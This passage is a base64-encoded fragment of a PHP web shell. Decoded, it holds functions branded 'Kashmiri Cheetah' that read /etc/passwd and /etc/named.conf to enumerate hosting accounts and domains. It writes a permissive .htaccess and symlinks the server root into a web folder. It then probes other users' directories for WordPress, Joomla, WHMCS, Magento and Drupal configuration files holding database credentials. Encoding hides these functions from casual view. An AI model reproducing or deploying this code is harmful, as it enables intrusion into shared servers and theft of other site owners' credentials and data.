QW4iPjwvYT48L3RkPjwvdHI+JzsKZWNobyAnPHRyPjx0ZD48Zm9ybSBhY3Rpb24gPSIiIG1ldGhvZD0icG9zdCI+PGlucHV0IHR5cGUgPSAic3VibWl0IiBuYW1lPSJTeW1saW5rYnlDaGVldGFoIiB2YWx1ZSA9IlN5bWxpbmsgQnkgS2FzaG1pcmkgQ2hlZXRhaCI+PC9hPjwvdGQ+PC90cj4nOwplY2hvICc8dHI+PHRkPjxmb3JtIGFjdGlvbiA9IiIgbWV0aG9kPSJwb3N0Ij48aW5wdXQgdHlwZSA9ICJzdWJtaXQiIG5hbWU9Imp1bXAiIHZhbHVlID0iSnVtcGluZyBTaGVsbCI+PC9hPjwvdGQ+PC90cj4nOwplY2hvICc8dHI+PHRkPjxmb3JtIGFjdGlvbiA9IiIgbWV0aG9kPSJwb3N0Ij48aW5wdXQgdHlwZSA9ICJzdWJtaXQiIG5hbWU9ImFkbWluZXIidmFsdWUgPSJBZG1pbmVyIj48L2E+PC90ZD48L3RyPic7CmVjaG8gJzx0cj48dGQ+PGZvcm0gYWN0aW9uID0iIiBtZXRob2Q9InBvc3QiPjxpbnB1dCB0eXBlID0gInN1Ym1pdCIgbmFtZT0iY2cidmFsdWUgPSJDb25maWcgR3JhYmJlciI+PC9hPjwvdGQ+PC90cj4nOwpwcmludEZvb3RlcigpOwp9CmZ1bmN0aW9uIGFjdGlvblNoYXJlZCgpIHsKcHJpbnRIZWFkZXIoKTsKJGZpbGUgPSBAaW1wbG9kZShAZmlsZSgiL2V0Yy9uYW1lZC5jb25mIikpOwppZiAoISRmaWxlKSB7CmRpZSgiIyBjYW4ndCBSZWFEIC0+IFsgL2V0Yy9uYW1lZC5jb25mIF0iKTsKfQpwcmVnX21hdGNoX2FsbCgiI25hbWVkLyguKj8pLmRiIyIsICRmaWxlLCAkcik7CiRkb21haW5zID0gYXJyYXlfdW5pcXVlKCRyWzFdKTsKewpmb3JlYWNoICgkZG9tYWlucyBhcyAkZG9tYWluKSB7CiR1c2VyID0gcG9zaXhfZ2V0cHd1aWQoQGZpbGVvd25lcigiL2V0Yy92YWxpYXNlcy8iIC4gJGRvbWFpbikpOwokYXJyYXk9ICJodHRwOi8vJGRvbWFpbiAiIC4gJHVzZXJbJ25hbWUnXSAuICI8YnI+IjsKJGxvbD0gJycgLiBnZXRfY3VycmVudF91c2VyKCk7CmlmIChzdHJwb3MoJGFycmF5LCAiJGxvbCIpICE9PSBmYWxzZSkgewokc2hhcmVkID0gc3RyX3JlcGxhY2UoYXJyYXkoIiAkbG9sIiksICIiLCAkYXJyYXkpOwplY2hvICI8Y2VudGVyPiRzaGFyZWQiOwp9Cn0KfQpwcmludEZvb3RlcigpOwp9CmZ1bmN0aW9uIGFjdGlvblN5bWxpbmsoKSB7CnByaW50SGVhZGVyKCk7CmVjaG8gJzxoMT5TeW1saW5rPC9oMT4nOwokZnVybCA9ICdodHRwOi8vJy4kX1NFUlZFUlsnU0VSVkVSX05BTUUnXS4kX1NFUlZFUlsnUkVRVUVTVF9VUkknXTsKJGV4cGxkID0gZXhwbG9kZSgnLycsJGZ1cmwgKTsKJGJ1cmwgPXN0cl9yZXBsYWNlKGVuZCgkZXhwbGQpLCcnLCRmdXJsKTsKZWNobyAnPGRpdiBjbGFzcz0iY29udGVudCI+PGNlbnRlcj4KPGgzPlsgPGEgaHJlZj0iIyIgb25jbGljaz0iZyhcJ3N5bWxpbmtcJyxudWxsLFwnd2Vic2l0ZVwnLG51bGwpIj5Eb21haW5zPC9hPiBdIC0gClsgPGEgaHJlZj0iIyIgb25jbGljaz0iZyhcJ3N5bWxpbmtcJyxudWxsLFwnd2hvbGVcJyxudWxsKSI+V2hvbGUgU2VydmVyIFN5bWxpbms8c3VwIHN0eWxlPSJjb2xvcjpyZWQ7dGV4dC1kZWNvcmF0aW9uOmJsaW5rOyI+PC9zdXA+PC9hPiBdIC0gClsgPGEgaHJlZj0iIyIgb25jbGljaz0iZyhcJ3N5bWxpbmtcJyxudWxsLFwnY29uZmlnXCcsbnVsbCkiPkNvbmZpZyBmaWxlcyBzeW1saW5rPC9hPiBdPC9oMz48L2NlbnRlcj4nOwppZihpc3NldCgkX1BPU1RbJ3AxJ10pICYmICRfUE9TVFsncDEnXT09J3dlYnNpdGUnKQp7CmVjaG8gIjxjZW50ZXI+IjsKJGQwbWFpbnMgPSBAZmlsZSgiL2V0Yy9uYW1lZC5jb25mIik7CmlmKCEkZDBtYWlucyl7IAplY2hvICI8cHJlIGNsYXNzPW1sMSBzdHlsZT0nbWFyZ2luLXRvcDo1cHgnPkNhbnQgYWNjZXNzIHRoaXMgZmlsZSBvbiBzZXJ2ZXIgLT4gWyAvZXRjL25hbWVkLmNvbmYgXTwvcHJlPjwvY2VudGVyPiI7IAp9IGVsc2UgewplY2hvICI8dGFibGUgYWxpZ249Y2VudGVyIGNsYXNzPSdtYWluJyBib3JkZXI9MCA+PHRyPjx0aD4gRG9tYWlucyA8L3RoPjwvdHI+IjsKJHVuayA9IGFycmF5KCk7CmZvcmVhY2goJGQwbWFpbnMgYXMgJGQwbWFpbil7CmlmKEBlcmVnaSgiem9uZSIsJGQwbWFpbikpewpwcmVnX21hdGNoX2FsbCgnI3pvbmUgIiguKikiIycsICRkMG1haW4sICRkb21haW5zKTsKZmx1c2goKTsKaWYoc3RybGVuKHRyaW0oJGRvbWFpbnNbMV1bMF0pKSA+IDIpewokdW5rW10gPSAkZG9tYWluc1sxXVswXTsKZmx1c2goKTsKfQp9Cn0KJGNvdW50PTE7CiR1bmsgPSBhcnJheV91bmlxdWUoJHVuayk7CiRsPTA7CmZvcmVhY2goJHVuayBhcyAkZCl7CiR1c2VyID0gcG9zaXhfZ2V0cHd1aWQoQGZpbGVvd25lcigiL2V0Yy92YWxpYXNlcy8iLiRkKSk7CmVjaG8gIjx0ciIuKCRsPycgY2xhc3M9bDEnOicnKS4iPjx0ZD48YSBocmVmPWh0dHA6Ly8iLiRkLiIvPiIuJGQuIjwvYT48L3RkPjx0ZD4iLiR1c2VyWyduYW1lJ10uIjwvdGQ+PC90cj4iOwpmbHVzaCgpOwokY291bnQrKzsKJGw9JGw/MDoxOwp9CmVjaG8gIjwvdGFibGU+IjsKfQplY2hvICI8L2NlbnRlcj4iOyAKfQppZihpc3NldCgkX1BPU1RbJ3AxJ10pICYmICRfUE9TVFsncDEnXT09J3dob2xlJykKewplY2hvICI8Y2VudGVyPiI7CkBta2RpcignUENBX3N5bScsMDc3Nyk7CiRoZHQ9ICJPcHRpb25zIGFsbFxuRGlyZWN0b3J5SW5kZXggU3V4Lmh0bWxcbkFkZFR5cGUgdGV4dC9wbGFpbiAucGhwXG5BZGRIYW5kbGVyIHNlcnZlci1wYXJzZWQgLnBocFxuQWRkVHlwZSB0ZXh0L3BsYWluIC5odG1sXG5BZGRIYW5kbGVyIHR4dCAuaHRtbFxuUmVxdWlyZSBOb25lXG5TYXRpc2Z5IEFueSI7CiRoZnAgPUBmb3BlbiAoJ1BDQV9zeW0vLmh0YWNjZXNzJywndycpOwpmd3JpdGUoJGhmcCAsJGhkdCk7CmlmKGZ1bmN0aW9uX2V4aXN0cygnc3ltbGluaycpKSB7CkBzeW1saW5rKCcvJywnUENBX3N5bS9yb290Jyk7Cn0KJGQwbWFpbnMgPSBAZmlsZSgnL2V0Yy9uYW1lZC5jb25mJyk7CmlmKCEkZDBtYWlucykgewplY2hvICI8cHJlIGNsYXNzPW1sMSBzdHlsZT0nbWFyZ2luLXRvcDo1cHgnPiMgQ2FudCBhY2Nlc3MgdGhpcyBmaWxlIG9uIHNlcnZlciAtPiBbIC9ldGMvbmFtZWQuY29uZiBdPC9wcmU+PC9jZW50ZXI+IjsKZWNobyAiPHRhYmxlIGFsaWduPSdjZW50ZXInIHdpZHRoPSc0MCUnIGNsYXNzPSdtYWluJz48dHI+PHRoPiBDb3VudCA8L3RoPjx0aD4gRG9tYWlucyA8L3RoPjx0aD4gVXNlciA8L3RoPjx0aD4gU3ltbGluayA8L3RoPjwvdHI+IjsKJGR0ID0gZmlsZSgnL2V0Yy9wYXNzd2QnKTsKJGw9MDsKZm9yZWFjaCgkZHQgYXMgJGQpIHsKJHIgPSBleHBsb2RlKCc6JywkZCk7CmlmKHN0cnBvcygkcls1XSwnaG9tZScpKSB7CmVjaG8gIjx0ciIuKCRsPycgY2xhc3M9bDEnOicnKS4iPjx0ZD4iLiRqLiI8L3RkPjx0ZD4tLS08L3RkPjx0ZD4iLiRyWzBdLiI8L3RkPjx0ZD48YSBocmVmPSdQQ0Ffc3ltL3Jvb3QiLiRyWzVdLiIvcHVibGljX2h0bWwnIHRhcmdldD0nX2JsYW5rJz5zeW1saW5rPC9hPjwvdGQ+PC90cj4iOwokbD0kbD8wOjE7CiRqKys7Cn0KfQplY2hvICc8L3RhYmxlPic7Cn0gZWxzZSB7CmVjaG8gIjx0YWJsZSBhbGlnbj0nY2VudGVyJyB3aWR0aD0nNDAlJyBjbGFzcz0nbWFpbic+PHRyPjx0aD4gQ291bnQgPC90aD48dGg+IERvbWFpbnMgPC90aD48dGg+IFVzZXIgPC90aD48dGg+IFN5bWxpbmsgPC90aD48L3RyPiI7CiRjb3VudD0xOwokbWNrID0gYXJyYXkoKTsKZm9yZWFjaCgkZDBtYWlucyBhcyAkZDBtYWluKXsKaWYoQGVyZWdpKCd6b25lJywkZDBtYWluKSl7CnByZWdfbWF0Y2hfYWxsKCcjem9uZSAiKC4qKSIjJywkZDBtYWluLCRkb21haW4pOwpmbHVzaCgpOwppZihzdHJsZW4odHJpbSgkZG9tYWluWzFdWzBdKSkgPjIpewokbWNrW10gPSAkZG9tYWluWzFdWzBdOwp9Cn0KfQokbWNrID0gYXJyYXlfdW5pcXVlKCRtY2spOwokdXNyID0gYXJyYXkoKTsKJGRtbiA9IGFycmF5KCk7CmZvcmVhY2goJG1jayBhcyAkbykgewokaW5mb3MgPSBAcG9zaXhfZ2V0cHd1aWQoZmlsZW93bmVyKCIvZXRjL3ZhbGlhc2VzLyIuJG8pKTsKJHVzcltdID0gJGluZm9zWyduYW1lJ107CiRkbW5bXSA9ICRvOwp9CmFycmF5X211bHRpc29ydCgkdXNyLCRkbW4pOwokZHQgPSBmaWxlKCcvZXRjL3Bhc3N3ZCcpOwokcGFzc3dkID0gYXJyYXkoKTsKZm9yZWFjaCgkZHQgYXMgJGQpIHsKJHIgPSBleHBsb2RlKCc6JywkZCk7CmlmKHN0cnBvcygkcls1XSwnaG9tZScpKSB7CiRwYXNzd2RbJHJbMF1dID0gJHJbNV07Cn0KfQokbD0wOwokaj0xOwpmb3JlYWNoKCR1c3IgYXMgJHIpIHsKZWNobyAiPHRyIi4oJGw/JyBjbGFzcz1sMSc6JycpLiI+PHRkPiIuJGNvdW50KysuIjwvdGQ+Cjx0ZD48YSB0YXJnZXQ9J19ibGFuaycgaHJlZj1odHRwOi8vIi4kZG1uWyRqLTFdLicvPicuJGRtblskai0xXS4nIDwvYT48L3RkPgo8dGQ+Jy4kci4iPC90ZD4KPHRkPjxhIGhyZWY9J1BDQV9zeW0vcm9vdCIuJHBhc3N3ZFskcl0uIi9wdWJsaWNfaHRtbCcgdGFyZ2V0PSdfYmxhbmsnPnN5bWxpbms8L2E+PC90ZD48L3RyPiI7CmZsdXNoKCk7CiRsPSRsPzA6MTsKJGorKzsKfQplY2hvICc8L3RhYmxlPic7Cn0KZWNobyAiPC9jZW50ZXI+IjsKfQppZihpc3NldCgkX1BPU1RbJ3AxJ10pICYmICRfUE9TVFsncDEnXT09J2NvbmZpZycpCnsKZWNobyAiPGNlbnRlcj4iOwpAbWtkaXIoJ1BDQV9zeW0nLDA3NzcpOwokaGR0ID0gIk9wdGlvbnMgYWxsIFxuIERpcmVjdG9yeUluZGV4IFN1eC5odG1sIFxuIEFkZFR5cGUgdGV4dC9wbGFpbiAucGhwIFxuIEFkZEhhbmRsZXIgc2VydmVyLXBhcnNlZCAucGhwIFxuQWRkVHlwZSB0ZXh0L3BsYWluIC5odG1sIFxuIEFkZEhhbmRsZXIgdHh0IC5odG1sIFxuIFJlcXVpcmUgTm9uZSBcbiBTYXRpc2Z5IEFueSI7CiRoZnAgPSBAZm9wZW4gKCdQQ0Ffc3ltLy5odGFjY2VzcycsJ3cnKTsKQGZ3cml0ZSgkaGZwICwkaGR0KTsKaWYoZnVuY3Rpb25fZXhpc3RzKCdzeW1saW5rJykpIHsKQHN5bWxpbmsoJy8nLCdQQ0Ffc3ltL3Jvb3QnKTsKfQokZDBtYWlucz1AZmlsZSgnL2V0Yy9uYW1lZC5jb25mJyk7CmlmKCEkZDBtYWlucykgewplY2hvICI8cHJlIGNsYXNzPW1sMSBzdHlsZT0nbWFyZ2luLXRvcDo1cHgnPiMgQ2FudCBhY2Nlc3MgdGhpcyBmaWxlIG9uIHNlcnZlciAtPiBbIC9ldGMvbmFtZWQuY29uZiBdPC9wcmU+PC9jZW50ZXI+IjsKfWVsc2UgewplY2hvICI8dGFibGUgYWxpZ249J2NlbnRlcicgd2lkdGg9JzQwJScgY2xhc3M9J21haW4nID48dHI+PHRoPiBDb3VudCA8L3RoPjx0aD4gRG9tYWluIDwvdGg8dGg+IFVzZXIgPC90aD4+PHRoPiBTY3JpcHQgPC90aD48L3RyPiI7CiRjb3VudCA9IDE7CiRsPTA7CmZvcmVhY2goJGQwbWFpbnMgYXMgJGQwbWFpbil7CmlmKEBlcmVnaSgnem9uZScsJGQwbWFpbikpewpwcmVnX21hdGNoX2FsbCgnI3pvbmUgIiguKikiIycsJGQwbWFpbiwkZG9tYWluKTsKZmx1c2goKTsKaWYoc3RybGVuKHRyaW0oJGRvbWFpblsxXVswXSkpPjIpewokdXNlciA9IHBvc2l4X2dldHB3dWlkKEBmaWxlb3duZXIoJy9ldGMvdmFsaWFzZXMvJy4kZG9tYWluWzFdWzBdKSk7CiRjMSA9ICRidXJsLicvUENBX3N5bS9yb290L2hvbWUvJy4kdXNlclsnbmFtZSddLicvcHVibGljX2h0bWwvd3AtY29uZmlnLnBocCc7CiRjaDAxID0gZ2V0X2hlYWRlcnMoJGMxKTsKJGNmMDEgPSAkY2gwMVswXTsKJGMyID0gJGJ1cmwuJy9QQ0Ffc3ltL3Jvb3QvaG9tZS8nLiR1c2VyWyduYW1lJ10uJy9wdWJsaWNfaHRtbC9ibG9nL3dwLWNvbmZpZy5waHAnOwokY2gwMiA9IGdldF9oZWFkZXJzKCRjMik7CiRjZjAyID0gJGNoMDJbMF07CiRjMyA9ICRidXJsLicvUENBX3N5bS9yb290L2hvbWUvJy4kdXNlclsnbmFtZSddLicvcHVibGljX2h0bWwvY29uZmlndXJhdGlvbi5waHAnOwokY2gwMyA9IGdldF9oZWFkZXJzKCRjMyk7CiRjZjAzID0gJGNoMDNbMF07CiRjNCA9ICRidXJsLicvUENBX3N5bS9yb290L2hvbWUvJy4kdXNlclsnbmFtZSddLicvcHVibGljX2h0bWwvam9vbWxhL2NvbmZpZ3VyYXRpb24ucGhwJzsKJGNoMDQgPSBnZXRfaGVhZGVycygkYzQpOwokY2YwNCA9ICRjaDA0WzBdOwokYzUgPSAkYnVybC4nL1BDQV9zeW0vcm9vdC9ob21lLycuJHVzZXJbJ25hbWUnXS4nL3B1YmxpY19odG1sL2luY2x1ZGVzL2NvbmZpZy5waHAnOwokY2gwNSA9IGdldF9oZWFkZXJzKCRjNSk7CiRjZjA1ID0gJGNoMDVbMF07CiRjNiA9ICRidXJsLicvUENBX3N5bS9yb290L2hvbWUvJy4kdXNlclsnbmFtZSddLicvcHVibGljX2h0bWwvdmIvaW5jbHVkZXMvY29uZmlnLnBocCc7CiRjaDA2ID0gZ2V0X2hlYWRlcnMoJGM2KTsKJGNmMDYgPSAkY2gwNlswXTsKJGM3ID0gJGJ1cmwuJy9QQ0Ffc3ltL3Jvb3QvaG9tZS8nLiR1c2VyWyduYW1lJ10uJy9wdWJsaWNfaHRtbC9mb3J1bS9pbmNsdWRlcy9jb25maWcucGhwJzsKJGNoMDcgPSBnZXRfaGVhZGVycygkYzcpOwokY2YwNyA9ICRjaDA3WzBdOwokYzggPSAkYnVybC4nL1BDQV9zeW0vcm9vdC9ob21lLycuJHVzZXJbJ25hbWUnXS4ncHVibGljX2h0bWwvY2xpZW50cy9jb25maWd1cmF0aW9uLnBocCc7CiRjaDA4ID0gZ2V0X2hlYWRlcnMoJGM4KTsKJGNmMDggPSAkY2gwOFswXTsKJGM5ID0gJGJ1cmwuJy9QQ0Ffc3ltL3Jvb3QvaG9tZS8nLiR1c2VyWyduYW1lJ10uJy9wdWJsaWNfaHRtbC9zdXBwb3J0L2NvbmZpZ3VyYXRpb24ucGhwJzsKJGNoMDkgPSBnZXRfaGVhZGVycygkYzkpOwokY2YwOSA9ICRjaDA5WzBdOwokYzEwID0gJGJ1cmwuJy9QQ0Ffc3ltL3Jvb3QvaG9tZS8nLiR1c2VyWyduYW1lJ10uJy9wdWJsaWNfaHRtbC9jbGllbnQvY29uZmlndXJhdGlvbi5waHAnOwokY2gxMCA9IGdldF9oZWFkZXJzKCRjMTApOwokY2YxMCA9ICRjaDEwWzBdOwokYzExID0gJGJ1cmwuJy9QQ0Ffc3ltL3Jvb3QvaG9tZS8nLiR1c2VyWyduYW1lJ10uJy9wdWJsaWNfaHRtbC9zdWJtaXR0aWNrZXQucGhwJzsKJGNoMTEgPSBnZXRfaGVhZGVycygkYzExKTsKJGNmMTEgPSAkY2gxMVswXTsKJGMxMiA9ICRidXJsLicvUENBX3N5bS9yb290L2hvbWUvJy4kdXNlclsnbmFtZSddLicvcHVibGljX2h0bWwvY2xpZW50L2NvbmZpZ3VyYXRpb24ucGhwJzsKJGNoMTIgPSBnZXRfaGVhZGVycygkYzEyKTsKJGNmMTIgPSAkY2gxMlswXTsKJGMxMyA9ICRidXJsLicvUENBX3N5bS9yb290L2hvbWUvJy4kdXNlclsnbmFtZSddLicvcHVibGljX2h0bWwvaW5jbHVkZXMvY29uZmlndXJlLnBocCc7CiRjaDEzID0gZ2V0X2hlYWRlcnMoJGMxMyk7CiRjZjEzID0gJGNoMTNbMF07CiRjMTQgPSAkYnVybC4nL1BDQV9zeW0vcm9vdC9ob21lLycuJHVzZXJbJ25hbWUnXS4nL3B1YmxpY19odG1sL2luY2x1ZGUvYXBwX2NvbmZpZy5waHAnOwokY2gxNCA9IGdldF9oZWFkZXJzKCRjMTQpOwokY2YxNCA9ICRjaDE0WzBdOwokYzE1ID0gJGJ1cmwuJy9QQ0Ffc3ltL3Jvb3QvaG9tZS8nLiR1c2VyWyduYW1lJ10uJy9wdWJsaWNfaHRtbC9zaXRlcy9kZWZhdWx0L3NldHRpbmdzLnBocCc7CiRjaDE1ID0gZ2V0X2hlYWRlcnMoJGMxNSk7CiRjZjE1ID0gJGNoMTVbMF07CiRvdXQgPSAnJm5ic3A7JzsKaWYoc3RycG9zKCRjZjAxLCcyMDAnKSA9PSB0cnVlKXsgJG91dCA9ICI8YSBocmVmPSciLiRjMS4iJyB0YXJnZXQ9J19ibGFuayc+V29yZHByZXNzPC9hPiI7IH0gCmVsc2VpZihzdHJwb3MoJGNmMDIsJzIwMCcpID09IHRydWUpeyAkb3V0ID0gIjxhIGhyZWY9JyIuJGMyLiInIHRhcmdldD0nX2JsYW5rJz5Xb3JkcHJlc3M8L2E+IjsgfQplbHNlaWYoc3RycG9zKCRjZjAzLCcyMDAnKSA9PSB0cnVlICYmIHN0cnBvcygkY2YxMSwnMjAwJykgPT0gdHJ1ZSkgeyAkb3V0ID0gIiA8YSBocmVmPSciLiRjMTEuIicgdGFyZ2V0PSdfYmxhbmsnPldITUNTPC9hPiI7IH0KZWxzZWlmKHN0cnBvcygkY2YwOSwnMjAwJykgPT0gdHJ1ZSl7ICRvdXQgPSAiIDxhIGhyZWY9JyIuJGM5LiInIHRhcmdldD0nX2JsYW5rJz5XSE1DUzwvYT4iO30KZWxzZWlmKHN0cnBvcygkY2YxMCwnMjAwJykgPT0gdHJ1ZSl7ICRvdXQgPSAiIDxhIGhyZWY9JyIuJGMxMC4iJyB0YXJnZXQ9J19ibGFuayc+V0hNQ1M8L2E+IjsgfQplbHNlaWYoc3RycG9zKCRjZjAzLCcyMDAnKSA9PSB0cnVlKXsgJG91dCA9ICIgPGEgaHJlZj0nIi4kYzMuIicgdGFyZ2V0PSdfYmxhbmsnPkpvb21sYTwvYT4iOyB9CmVsc2VpZihzdHJwb3MoJGNmMDQsJzIwMCcpID09IHRydWUpeyAkb3V0ID0gIiA8YSBocmVmPSciLiRjNC4iJyB0YXJnZXQ9J19ibGFuayc+Sm9vbWxhPC9hPiI7IH0KZWxzZWlmKHN0cnBvcygkY2YwNSwnMjAwJykgPT0gdHJ1ZSl7ICRvdXQgPSAiIDxhIGhyZWY9JyIuJGM1LiInIHRhcmdldD0nX2JsYW5rJz52QnVsbGV0aW48L2E+Ijt9CmVsc2VpZihzdHJwb3MoJGNmMDYsJzIwMCcpID09IHRydWUpeyAkb3V0ID0gIiA8YSBocmVmPSciLiRjNi4iJyB0YXJnZXQ9J19ibGFuayc+dkJ1bGxldGluPC9hPiI7fQplbHNlaWYoc3RycG9zKCRjZjA3LCcyMDAnKSA9PSB0cnVlKXsgJG91dCA9ICIgPGEgaHJlZj0nIi4kYzcuIicgdGFyZ2V0PSdfYmxhbmsnPnZCdWxsZXRpbjwvYT4iO30KZWxzZWlmKHN0cnBvcygkY2YwOCwnMjAwJykgPT0gdHJ1ZSl7ICRvdXQgPSAiIDxhIGhyZWY9JyIuJGM3LiInIHRhcmdldD0nX2JsYW5rJz5DbGllbnQgQXJlYTwvYT4iO30KZWxzZWlmKHN0cnBvcygkY2YxMiwnMjAwJykgPT0gdHJ1ZSl7ICRvdXQgPSAiIDxhIGhyZWY9JyIuJGM3LiInIHRhcmdldD0nX2JsYW5rJz5DbGllbnQgQXJlYTwvYT4iO30KZWxzZWlmKHN0cnBvcygkY2YxMywnMjAwJykgPT0gdHJ1ZSl7ICRvdXQgPSAiIDxhIGhyZWY9JyIuJGM3LiInIHRhcmdldD0nX2JsYW5rJz5vc0NvbW1lcmNlL1plbiBDYXJ0PC9hPiI7fQplbHNlaWYoc3RycG9zKCRjZjE0LCcyMDAnKSA9PSB0cnVlKXsgJG91dCA9ICIgPGEgaHJlZj0nIi4kYzcuIicgdGFyZ2V0PSdfYmxhbmsnPk1hZ2VudG88L2E+Ijt9CmVsc2VpZihzdHJwb3MoJGNmMTUsJzIwMCcpID09IHRydWUpeyAkb3V0ID0gIiA8YSBocmVmPSciLiRjNy4iJyB0YXJnZXQ9J19ibGFuayc+RHJ1cGFsPC9hPiI7fQplbHNlIHsKY29udGludWU7Cn0KZWNobyAnPHRyJy4oJGw/JyBjbGFzcz1sMSc6JycpLic+PHRkPicuJGNvdW50KysuJzwvdGQ+PHRkPjxhIGhyZWY9aHR0cDovL3d3dy4nLiRkb21haW5bMV1bMF0uJy8+Jy4kZG9tYWluWzFdWzBdLic8L2E+PC90ZD48dGQ+Jy4kdXNlclsnbmFtZSddLic8L3RkPjx0ZD4nLiRvdXQuJzwvdGQ+PC90cj4nOwpmbHVzaCgpOwokbD0kbD8wOjE7Cn0KfQp9CmVjaG8gIjwvdGFibGU+IjsKfQplY2hvICI8L2NlbnRlcj4iOyAKfQplY2hvICI8L2Rpdj4iOwpwcmludEZvb3RlcigpOwp9IAogZnVuY3Rpb24gYWN0aW9uSnVtcGluZygpIAp7cHJpbnRIZWFkZXIoKTsKZWNobyAnPGh0bWw+PGhlYWQ+PHRpdGxlPicuZ2V0ZW52KCJIVFRQX0hPU1QiKS4nIC0gSnVtcGluZyBTZXJ2ZXI8L3RpdGxlPjwvaGVhZD48Ym9keT4nOwooJHNtID0gaW5pX2dldCgnc2FmZV9tb2RlJykgPT0gMCkgPyAkc20gPSAnb2ZmJzogZGllKCc8Zm9udCBzaXplPSI0IiBjb2xvcj0iIzAwMDAwMCIgZmFjZT0iQ2FsaWJyaSI+PGI+RXJyb3I6IFNhZmVfbW9kZSA9IE9uPC9iPjwvZm9udD4nKTsKc2V0X3RpbWVfbGltaXQoMCk7QCRwYXNzd2QgPSBmb3BlbignL2V0Yy9wYXNzd2QnLCdyJyk7aWYgKCEkcGFzc3dkKSB7IGRpZSgnPGZvbnQgc2l6ZT0iNCIgY29sb3I9IiMwMDAwMDAiIGZhY2U9IkNhbGlicmkiPjxiPlstXSBFcnJvciA6IENvdWRuYHQgUmVhZCAvZXRjL3Bhc3N3ZDwvYj48L2ZvbnQ+Jyk7IH0KJHB1YiA9IGFycmF5KCk7JHVzZXJzID0gYXJyYXkoKTskY29uZiA9IGFycmF5KCk7JGkgPSAwO3doaWxlKCFmZW9mKCRwYXNzd2QpKXskc3RyID0gZmdldHMoJHBhc3N3ZCk7aWYgKCRpID4gMTAwKXsgJHBvcyA9IHN0cnBvcygkc3RyLCc6Jyk7JHVzZXJuYW1lID0gc3Vic3RyKCRzdHIsMCwkcG9zKTskZGlyeiA9ICcvaG9tZS8nLiR1c2VybmFtZS4nL3B1YmxpY19odG1sLyc7aWYgKCgkdXNlcm5hbWUgIT0gJycpKSB7IGlmIChpc19yZWFkYWJsZSgkZGlyeikpIHsgYXJyYXlfcHVzaCgkdXNlcnMsJHVzZXJuYW1lKTthcnJheV9wdXNoKCRwdWIsJGRpcnopOyB9fX0kaSsrO30KZWNobyAnPGZvbnQgY29sb3I9YXF1YT4gWy1dPT09PT09PT09PT09PT09PT09WyBTVEFSVCBdPT09PT09PT09PT09PT09PT09Wy1dPGJyPjwvZm9udD4nOwpmb3JlYWNoICgkdXNlcnMgYXMgJHVzZXIpe2VjaG8gIjxmb250IGNvbG9yPSNhM2U5NTY+IFsrXSAvaG9tZS8kdXNlci9wdWJsaWNfaHRtbC88L2ZvbnQ+PGJyLz4iO30gZWNobyAiXG4gPGZvbnQgY29sb3I9YXF1YT48YnI+Wy1dPT09PT09PT09PT09PT09PT09WyBGSU5JU0ggXT09PT09PT09PT09PT09PT09PVstXSA8YnI+PC9mb250PlxuIjsgZWNobyAnPC9ib2R5PjwvaHRtbD4nOwpwcmludEZvb3RlcigpOwp9CmZ1bmN0aW9uIGFjdGlvblN1YmRvbWFpbigpIHsKcHJpbnRIZWFkZXIoKTsKZXJyb3JfcmVwb3J0aW5nKDApOwokdXNlciA9IGdldF9jdXJyZW50X3VzZXIoKTsKJG9wZW4gPSBvcGVuZGlyKCcvaG9tZS8nIC4gJHVzZXIgLiAnL2FjY2Vzcy1sb2dzLycpOwp3aGlsZSAoJGRpciA9IHJlYWRkaXIoJG9wZW4pKSB7CiR0b3RhbERvYW1pbltdID0gJGRpcjsKfQpjbG9zZWRpcigkb3Blbik7CiR0b3RhbCA9IGNvdW50KCR0b3RhbERvYW1pbik7CiRkb21haW4gPSAkdG90YWwgLSAyOwppZiAoJGRvbWFpbiA+IDApIHsKZWNobyAiPGgyPjxiPjxmb250IHN0eWxlPVwiY29sb3I6ICNhM2U5NTYgO1wiID4gfiBUb3RhbCA8L2ZvbnQ+PGZvbnQgc3R5bGU9XCJjb2xvcjogI2EzZTk1NjsgXCI+IiAuICRkb21haW4gLiAiPC9mb250Pjxmb250IHN0eWxlPVwiY29sb3I6ICNhM2U5NTY7XCIgPiBTdWIgRG9tYWluIEZvdW5kISB+IDwvZm9udD48YnI+PEJSPiI7Cn0gZWxzZSB7CmVjaG8gIjxoMj48Yj4gfiA8Zm9udCBjb2xvcj0ncmVkJyBzdHlsZT1cImNvbG9yOiByZWQ7IHRleHQtc2hhZG93OiByZWQgMHB4IDBweCA0cHggOyBcIj4wPC9mb250Pjxmb250IHN0eWxlPVwiY29sb3I6ICNibGFjazsgdGV4dC1zaGFkb3c6IGJsYWNrIDBweCAwcHggNnB4IDtcIj4gU3ViIERvbWFpbiBGb3VuZCEgfjwvZm9udD48YnI+PEJSPiI7Cn0KJHNjYW4gPSBhcnJheV9kaWZmKHNjYW5kaXIoJy9ob21lLycgLiAkdXNlciAuICcvYWNjZXNzLWxvZ3MvJyksIGFycmF5KCcuJykpOwokZG9tYWlucyA9IGltcGxvZGUoIgpodHRwOi8vIiwgJHNjYW4pOwplY2hvICcKPHN0eWxlPgpib2R5IHsKdGV4dC1hbGlnbjogY2VudGVyOwp9Cjwvc3R5bGU+PHRleHRhcmVhIHN0eWxlPSJjb2xvcjogI2EzZTk1NjsgYmFja2dyb3VuZC1jb2xvcjogYmxhY2siIHJvd3M9XCczMFwnIGNvbHM9XCcxMDBcJz4nOwpwcmludF9yKCRkb21haW5zKTsKZWNobyAnPC90ZXh0YXJlYT4nOwpwcmludEZvb3RlcigpOwp9CmZ1bmN0aW9uIGFjdGlvblN5bSgpIHsKcHJpbnRIZWFkZXIoKTsKJGZpbGUgPSBAaW1wbG9kZShAZmlsZSgiL2V0Yy9uYW1lZC5jb25mIikpOwppZiAoISRmaWxlKSB7CmRpZSgiIyBjYW4ndCBSZWFEIC0+IFsgL2V0Yy9uYW1lZC5jb25mIF0iKTsKfQpwcmVnX21hdGNoX2FsbCgiI25hbWVkLyguKj8pLmRiIyIsICRmaWxlLCAkcik7CiRkb21haW5zID0gYXJyYXlfdW5pcXVlKCRyWzFdKTsKewpmb3JlYWNoICgkZG9tYWlucyBhcyAkZG9tYWluKSB7CiR1c2VyID0gcG9zaXhfZ2V0cHd1aWQoQGZpbGVvd25lcigiL2V0Yy92YWxpYXNlcy8iIC4gJGRvbWFpbikpOwokYXJyYXk9ICI8YnI+aHR0cDovLyRkb21haW48YnI+IjsKJGxvbD0gJycgLiBnZXRfY3VycmVudF91c2VyKCk7CmlmIChzdHJwb3MoJGFycmF5LCAiJGxvbCIpID09IGZhbHNlKSB7CiRzaGFyZWQgPSBzdHJfcmVwbGFjZShhcnJheSgiICRsb2wi